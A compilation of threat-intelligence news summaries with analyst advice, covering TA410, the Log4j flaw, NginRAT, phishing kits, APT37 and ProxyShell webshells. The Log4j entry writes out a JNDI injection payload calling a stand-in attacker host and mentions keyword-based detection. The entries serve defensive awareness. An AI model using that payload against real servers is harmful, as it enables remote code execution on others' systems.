A Lookback Under the TA410 Umbrella: Its Cyberespionage TTPs and Activity
(published: April 28, 2022)
ESET researchers found three different teams under China-sponsored umbrella cyberespionage group TA410, which is loosely linked to Stone Panda (APT10, Chinese Ministry of State Security). ESET named these teams FlowingFrog, JollyFrog, and LookingFrog. FlowingFrog uses the Royal Road RTF weaponizer described by Anomali in 2019. Infection has two stages: the Tendyron implant followed by a very complex FlowCloud backdoor. JollyFrog uses generic malware such as PlugX and QuasarRAT. LookingFrog’s infection stages feature the X4 backdoor followed by the LookBack backdoor. Besides using different backdoors and exiting from IP addresses located in three different districts, the three teams use similar tools and similar tactics, techniques, and procedures (TTPs).
Analyst Comment: Organizations should keep their web-facing applications such as Microsoft Exchange or SharePoint secured and updated. Educate your employees on handling suspected spearphishing attempts. Defense-in-depth (layering of security mechanisms, redundancy, fail-safe defense processes) is the best way to ensure safety from APTs, including a focus on both network and host-based security. Prevention and detection capabilities should also be in place.

Countless Servers Are Vulnerable to Apache Log4j Zero-Day Exploit
(published: December 10, 2021)
A critical vulnerability, registered as CVE-2021-44228, has been identified in Apache Log4j 2, which is an open source Java package used to enable logging in. The Apache Software Foundation (ASF) rates the vulnerability as a 10 on the common vulnerability scoring system (CVSS) scale. Cisco Talos has observed malicious activity related to CVE-2021-44228 beginning on December 2, 2021. This vulnerability affects millions of users and exploitation proof-of-concept code exists via LunaSec explains how to exploit it in five simple steps. These include: 1: Data from the User gets sent to the server (via any protocol). 2: The server logs the data in the request, containing the malicious payload: ${jndi:ldap://attacker.com/a} (where attacker.com is an attacker controlled server). 3: The Log4j vulnerability is triggered by this payload and the server makes a request to attacker.com via "Java Naming and Directory Interface" (JNDI). 4: This response contains a path to a remote Java class file (ex. http://second-stage.attacker.com/Exploit.class) which is injected into the server process. 5: This injected payload triggers a second stage, and allows an attacker to execute arbitrary code.
Analyst Comment: Log4j version 2.15.0 has been released to address this vulnerability, however, it only changes a default setting (log4j2.formatMsgNoLookups) from false to true. This means that if the setting is set back to false, Log4j will again be vulnerable to exploitation. The initial campaigns could have been detected by filtering on certain keywords such as "ldap", "jndi", but this detection method is easily bypassable.

New Malware Hides as Legit Nginx Process on E-Commerce Servers
(published: December 2, 2021)
Researchers at Sansec discovered NginRAT, a new malware variant that has been found on servers in the US, Germany, and France. Put in place to intercept credit card payments, this malware impersonates legitimate nginx processes which makes it very difficult to detect. NginRAT has shown up on systems that were previously infected with CronRAT, a trojan that schedules processes to run on invalid calendar days. This is used as a persistence technique to ensure that even if a malicious process is killed, the malware has a way to re-infect the system.
Analyst Comment: Threat actors are always adapting to the security environment to remain effective. New techniques can still be spotted with behavioural analysis defenses and social engineering training. Ensure that your company's firewall blocks all entry points for unauthorized users, and maintain records of how normal traffic appears on your network. Therefore, it will be easier to spot unusual traffic and connections to and from your network to potentially identify malicious activity.

How Phishing Kits Are Enabling A New Legion Of Pro Phishers
(published: December 2, 2021)
Phishing kits, such as XBALTI are seeing increased use against financial institutions. Mixing email with SMS messages, attackers are targeting companies such as Charles Schwab, J.P. Morgan Chase, RBC Royal Bank and Wells Fargo. Victims are targeted and asked to verify account details. The attack is made to appear legitimate by redirecting to the real sites after information has been harvested.
Analyst Comment: With financial transactions increasing around this time of year, it is likely financially themed malspam and phishing emails will be a commonly used tactic. Therefore, it is crucial that your employees are aware of their financial institution's policies regarding electronic communication. If a user is concerned due to the scare tactics often used in such emails, they should contact their financial institution via legitimate email or another form of communication. Requests to open a document in a sense of urgency and poor grammar are often indicative of malspam or phishing attacks. Said emails should be properly avoided and reported to the appropriate personnel.

APT37 is a nation-state threat actor attributed to North Korea. The latest discovery by researchers at Kaspersky Labs has revealed a sophisticated, targeted attack that utilizes the stolen credentials from Facebook and email accounts belonging to an associate of the targeted victim.The victim was socially engineered and compelled into opening rar zipped attachments purporting to be from the trusted sender that contained a malicious Word document. The Word document is multi stage in design, and uses a malicious macro to initiate the first stage. The first stage detects the presence of AV software, and if AV is not present will initiate the second stage which is a shellcode that will download the final third stage payload.Ultimately, after several months of dwelling undetected on the infected system, the backdoor will then download the multiplatform infostealer, "Chinotto." Windows variants were sent via spearphishing emails and Android variants were sent via SMShing texts.What Operating Systems are Affected?Chinoto targets Windows and Android based operating systems.Is This Limited to Targeted Attacks?Yes.How Serious of an Issue is This?Medium.What is APT37?APT37 (also known as GROUP123 and Scarcruft), attributed to North Korean threat actors, has been in operation for several years. During that time, APT37 has been attributed to the Adobe Flash zero-day attack (CVE-2018-4878) that targeted researchers based in South Korea who were performing research on North Korea. APT37 focuses on various organizations with an interest in North Korea.APT37 is famous for exploiting vulnerabilities in the Hangul Word Processor (HWP) which is commonly used in South Korea, especially by those in the government sector. Analysis suggests that this is a very detailed and sophisticated threat actor with an arsenal of malware and exploits at their disposal that targets various verticals and organizations with specially crafted campaigns. Other vectors besides the Adobe and Hangul vulnerabilities observed were the usage of Microsoft vulnerabilities as well, specifically CVE-2017-0199 (Microsoft Office UAC bypass) and CVE-2015-2545 (Microsoft Office Encapsulated PostScript (EPS). For further details on the exploitation of HWP documents and campaigns previously analyzed, please refer to our blog here.What is the Status of Coverage?FortiGuard Labs has AV coverage in place for publicly available samples as:VBA/Agent.AAK!trW32/PossibleThreatVBA/Agent.AF3C!trW32/Agent.ACDD!trPossibleThreat.MUPossibleThreat.PALLAS.HW32/FRS.VSNTGF20!trW32/Bsymem.MSJ!trAll network IOCs are blocked by the WebFiltering client.Any Other Suggested Mitigation?Due to the ease of disruption and the potential for damage to daily operations, reputation, and unwanted release of personally identifiable information (PII), etc. it is important to keep all AV and IPS signatures up to date.It is also important to ensure that all known vendor vulnerabilities are addressed and updated to protect from attackers having a foothold within a network. Attackers are well aware of the difficulty of patching and if it is determined that patching is not feasible at this time, an assessment should be conducted to determine risk.Also, as this campaign was sent via spearphishing and smsshing - organizations are encouraged to conduct ongoing training sessions to educate and inform personnel about the latest phishing/spearphishing/smishing attacks. They also need to encourage employees to never open attachments from someone they don't know, and to always treat emails from unrecognized/untrusted senders with caution. Since it has been reported that various phishing/spearphishing/smishing attacks have been delivered via social engineering distribution mechanisms, it is crucial that end users within an organization be made aware of the various types of attacks being delivered. This can be accomplished through regular training sessions and impromptu tests using predetermined templates by an organizations' internal security department.

Microsoft Exchange Servers Still Vulnerable to ProxyShell Exploit
(published: August 23, 2021)
Despite patches a collection of vulnerabilities (ProxyShell) discovered in Microsoft Exchange being available in the July 2021 update, researchers discovered nearly 2,000 of these vulnerabilities have recently been compromised to host webshells. These webshells allow for attackers to retain backdoor access to compromised servers for further exploitation and lateral movement into the affected organizations. Researchers believe that these attacks may be related to the recent LockFile ransomware attacks.
Analyst Comment: Organizations running Microsoft Exchange are strongly encouraged to prioritize updates to prevent ongoing exploitation of these vulnerabilities. In addition, a thorough investigation to discover and remove planted webshells should be undertaken as the patches will not remove planted webshells in their environments. A threat intelligence platform (TIP) such as Anomali Threatstream can be a valuable tool to assist organizations ingesting current indicators of compromise (IOCs) and determine whether their Exchange instances have been compromised.
